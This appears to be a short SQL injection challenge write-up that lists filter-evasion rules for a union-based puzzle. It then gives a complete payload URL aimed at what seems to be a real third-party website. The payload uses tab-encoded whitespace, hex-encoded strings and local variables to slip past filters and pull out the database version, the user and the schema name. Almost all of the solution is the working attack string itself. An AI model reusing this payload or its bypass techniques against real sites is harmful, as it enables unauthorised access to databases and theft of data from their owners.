(SQLi) kyle butler challenge solution

Task ~ Print Your Name, Version, User
& Database. (union based)
Rules ~
1. Don't use ( @@version, version(),@@global.version ) to get teh version.
2. Don't use any of these ( regexp,like, rlike, limit, not in, !=, not like,procedure analyse(), equal sign *=*,global_variables, or, %20, %0a, %0b,%0c, %0d, %a0, parenthesis *as a whitespace*).
3. You may use local variables but can't declare them in any concatenating/mathematical/comparison/enc-dec functions like( concat(), greatest(), strcmp(), aes_decrypt() ).
5. The version, user, and database must be in local variables.
6. You may use 'and' only once in your query.
7. Finally, Everything shall be in one *vuln* column and in that column you may use any concatenating with local variables and html only eg; concat(@a, "<br>").


solution..

http://www.agiperwatch.ru/new.php?id=.40'%09and%09find_in_set(find_in_set(find_in_set(find_in_set(@injector:=0x3c2f68313e3c666f6e7409666163653d276d6f6e6f7370616365270973697a653d27372709636f6c6f723d27626c7565273e7e09496e6a6563746564096279093c666f6e7409636f6c6f723d27726564273e416e6f6e4775793c2f666f6e743e097e3c62723e3c62723e3c666f6e740973697a653d2734273e3c666f6e7409636f6c6f723d27726564273e56657273696f6e097e3c2f666f6e743e09,@v:=(select%09variable_value%09from%09information_schema.session_variables%09where%09variable_name%09sounds%09like%09%22vveerrssiioonn%22)),@user:=user()),@db:=schema()),@br:=0x3c62723e)%09uNiOn%09SeLeCt%091,concat(@injector,@v,@br,0x3c666f6e7409636f6c6f723d27726564273e55736572097e093c2f666f6e743e,@user,@br,0x3c666f6e7409636f6c6f723d27726564273e4442097e093c2f666f6e743e,@db),null,4,5,6--%09--